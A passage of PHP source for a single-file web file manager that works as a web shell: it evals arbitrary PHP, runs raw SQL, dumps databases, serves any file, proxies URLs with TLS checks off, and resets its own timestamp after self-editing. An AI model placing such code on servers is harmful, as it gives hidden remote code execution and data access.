		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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